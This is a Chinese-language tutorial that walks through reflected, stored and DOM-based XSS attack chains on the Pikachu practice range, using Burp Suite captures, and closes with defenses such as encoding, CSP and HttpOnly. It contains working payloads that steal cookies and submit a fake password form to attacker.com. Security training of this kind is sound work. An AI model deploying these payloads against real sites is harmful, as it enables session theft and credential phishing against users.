从‘弹个窗’到‘钓个鱼’:用Pikachu靶场实战还原三种XSS漏洞的完整攻击链(含Burp抓包分析)
从‘弹个窗’到‘钓个鱼’:用Pikachu靶场实战还原三种XSS漏洞的完整攻击链(含Burp抓包分析)
在网络安全领域,XSS漏洞就像一把隐形的钥匙,攻击者可以用它悄无声息地打开用户数据的大门。不同于那些需要复杂权限提升的漏洞,XSS攻击往往只需要一个精心构造的链接,就能让受害者的浏览器成为攻击者的帮凶。本文将带你在Pikachu靶场中,以攻击者视角完整重现反射型、存储型和DOM型XSS的攻击链,并通过Burp Suite的数据流分析,揭示三种漏洞的本质差异。
1. 实验环境搭建与工具准备
工欲善其事,必先利其器。我们需要一个安全的实验环境来模拟真实攻击场景,同时避免意外造成实际危害。
Pikachu靶场部署:从GitHub获取最新版Pikachu漏洞练习平台,使用Docker快速搭建:
docker pull vulhub/pikachu docker run -d -p 8080:80 vulhub/pikachu访问
http://localhost:8080即可看到包含多种XSS漏洞场景的界面。Burp Suite配置:
- 在Proxy→Options中确保拦截功能开启
- 安装
XSS Validator插件(需提前配置PhantomJS环境) - 设置浏览器代理为
127.0.0.1:8080
关键工具链:
| 工具名称 | 作用 | 备注 |
|---|---|---|
| Burp Suite Pro | HTTP流量拦截与分析 | 社区版也可完成基础操作 |
| HackBar | 浏览器端Payload快速构造 | Firefox/chrome插件 |
| Postman | 存储型XSS的批量提交测试 | 可选 |
注意:所有实验应在隔离网络环境中进行,避免误操作影响真实系统。建议使用虚拟机专门用于安全测试。
2. 反射型XSS:从URL注入到Cookie劫持
反射型XSS是最"直白"的攻击方式,它的攻击链清晰展现了XSS的基本原理。在Pikachu靶场的反射型XSS模块,我们将完成从基础测试到实际攻击的升级。
2.1 基础弹窗测试
在搜索框输入经典测试Payload:
<script>alert('XSS')</script>提交后观察页面弹出警告框,这说明存在XSS漏洞。此时用Burp拦截请求,可以看到我们的输入被原样返回:
GET /vul/xss/xss_reflected_get.php?message=<script>alert('XSS')</script>&submit=submit HTTP/1.1服务器未对输入做任何过滤处理,直接将恶意脚本插入到返回的HTML中。
2.2 攻击升级:窃取用户Cookie
真实的攻击不会满足于弹窗,我们可以构造获取用户Session的Payload:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>在Burp中修改请求参数后转发,观察服务器响应。当受害者访问这个恶意链接时,其Cookie会被发送到攻击者控制的服务器。
反射型XSS关键特征:
- 恶意脚本来自当前请求的URL参数
- 需要诱导用户点击特定链接
- 不存储在服务器端
- 在Burp中可见完整攻击代码出现在请求和响应中
3. 存储型XSS:持久化的威胁
存储型XSS的危害性远超反射型,因为它不需要诱导用户点击特定链接,任何访问受影响页面的用户都会中招。Pikachu的留言板模块完美模拟了这种场景。
3.1 植入持久化攻击脚本
在留言板提交以下内容:
<img src=x onerror="var img=new Image();img.src='http://attacker.com/log?cookie='+document.cookie;">这段代码会尝试加载一个不存在的图片,触发onerror事件执行我们的恶意脚本。
用Burp拦截这个POST请求,观察几个关键点:
POST /vul/xss/xss_stored.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded txtName=attacker&mtxMessage=<img+src%3Dx+onerror%3D"var+img%3Dnew+Image()%3Bimg.src%3D'http%3A//attacker.com/log%3Fcookie%3D'%2Bdocument.cookie%3B">&btnSign=Sign+Guestbook服务器将这段内容原样存储到数据库,每次有人访问留言板时都会执行恶意代码。
3.2 自动化漏洞检测
使用Burp的XSS Validator插件可以自动化检测这类漏洞:
- 右键点击请求→Send to Intruder
- 在Positions标签设置插入点
- 在Payloads标签选择XSS类型
- 开始攻击并观察响应
存储型与反射型关键区别:
| 特征 | 反射型 | 存储型 |
|---|---|---|
| 持久性 | 临时 | 永久 |
| 触发方式 | 需点击特定链接 | 访问正常页面即可触发 |
| 危害范围 | 单个用户 | 所有访问用户 |
| Burp中的表现 | 代码在URL和响应中 | 代码在POST请求和页面内容中 |
4. DOM型XSS:纯客户端的陷阱
DOM型XSS是最容易被忽视的类型,因为它完全不经过服务器处理。Pikachu的DOM型XSS模块展示了这种特殊场景。
4.1 分析DOM操作流程
输入测试内容后,使用浏览器开发者工具查看源码:
document.write("<a href='"+str+"'>what do you see?</a>");这段代码直接将URL参数写入DOM而没有转义,导致XSS漏洞。
构造特殊Payload:
#' onmouseover='alert(1)当鼠标划过链接时就会触发XSS。
4.2 高级钓鱼攻击
我们可以构造更隐蔽的攻击:
javascript:var form=document.createElement("form");form.action="http://attacker.com/phish";form.method="post";var input=document.createElement("input");input.name="password";input.type="password";form.appendChild(input);document.body.appendChild(form);input.focus();form.submit();这段代码会在页面上动态创建一个伪造的登录表单,将用户输入直接提交到攻击者服务器。
DOM型XSS独特特征:
- 完全不依赖服务器响应
- 恶意代码只在浏览器端执行
- 在Burp中看不到完整的攻击代码
- 通常由不安全的
eval()、innerHTML等操作引起
5. 防御措施与实战建议
理解了攻击原理后,我们需要建立有效的防御策略。以下是经过实战验证的防护方案:
输入处理原则:
- 对所有用户输入进行严格的长度和格式验证
- 实施上下文相关的输出编码(HTML、JS、CSS、URL等)
- 使用CSP(Content Security Policy)限制脚本来源
关键防御技术对比:
| 技术 | 防护效果 | 实现难度 |
|---|---|---|
| HTML实体编码 | 防御HTML上下文XSS | 低 |
| JavaScript编码 | 防御JS字符串上下文XSS | 中 |
| CSP策略 | 全面防护各类注入 | 高 |
| HttpOnly Cookie | 防止Cookie被JS读取 | 低 |
在PHP中实现基础防护的代码示例:
// 输出编码 function xss_clean($data) { return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8'); } // CSP头设置 header("Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com");实际项目中遇到的经典案例:某电商网站的价格参数直接输出到页面导致反射型XSS,攻击者可以构造恶意链接窃取用户支付信息。修复方案是对所有输出到页面的变量进行HTML实体编码,同时在Cookie上设置HttpOnly属性。
